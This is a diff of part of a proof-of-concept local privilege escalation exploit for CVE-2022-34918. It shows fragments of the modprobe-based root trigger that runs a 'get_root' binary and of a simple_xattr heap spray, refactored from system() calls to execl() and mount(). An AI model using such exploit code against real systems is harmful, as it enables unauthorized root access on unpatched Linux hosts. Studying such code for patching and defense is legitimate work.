STRLCPY/CVE-2022-34918-LPE-PoC

■ ■ ■ ■ ■ ■

src/modprobe.c

		skipped 33 lines
34	34		if (!fork()) {
35	35		system("cp get_root /tmp");
36	36		sem_wait(shell_barrier);
37		-	system("/tmp/get_root");
	37	+	execl("/tmp/get_root", "/tmp/get_root", NULL);
38	38		exit(EXIT_SUCCESS);
39	39		}
40	40		}
		skipped 17 lines
58	58
59	59		int pid = fork();
60	60		if (pid == 0)
61		-	execve("/tmp/dummy", NULL, NULL);
	61	+	execl("/tmp/dummy", "/tmp/dummy", NULL);
62	62
63	63		waitpid(pid, NULL, 0);
64		-	sem_post(shell_barrier);
	64	+	sem_post(shell_barrier);
65	65		}
66	66
67	67		/**
		skipped 58 lines

■ ■ ■ ■ ■ ■

src/simple_xattr.c

		skipped 6 lines
7	7		#include <errno.h>
8	8		#include <fcntl.h>
9	9		#include <unistd.h>
10		-
	10	+	#include <sys/mount.h>
11	11		#include "log.h"
12	12		#include "simple_xattr.h"
13	13
		skipped 3 lines
17	17		*/
18	18		void spray_simple_xattr(char *filename, uint32_t spray_size) {
19	19
20		-	char command[COMMAND_MAX_LEN];
21	20		char attribute_name[ATTRIBUTE_NAME_LEN];
22	21
23	22		/* Mount a new tmpfs to be able to set security xattr */
24	23		if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
25	24		do_error_exit("mkdir");
26	25
27		-	system("mount -t tmpfs none /tmp/tmpfs");
28		-
	26	+	if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1)
	27	+	{
	28	+	do_error_exit("mount");
	29	+	}
29	30		/* Create a file to the set attributes */
30	31		int fd = creat(filename, 0644);
31	32		close(fd);
		skipped 19 lines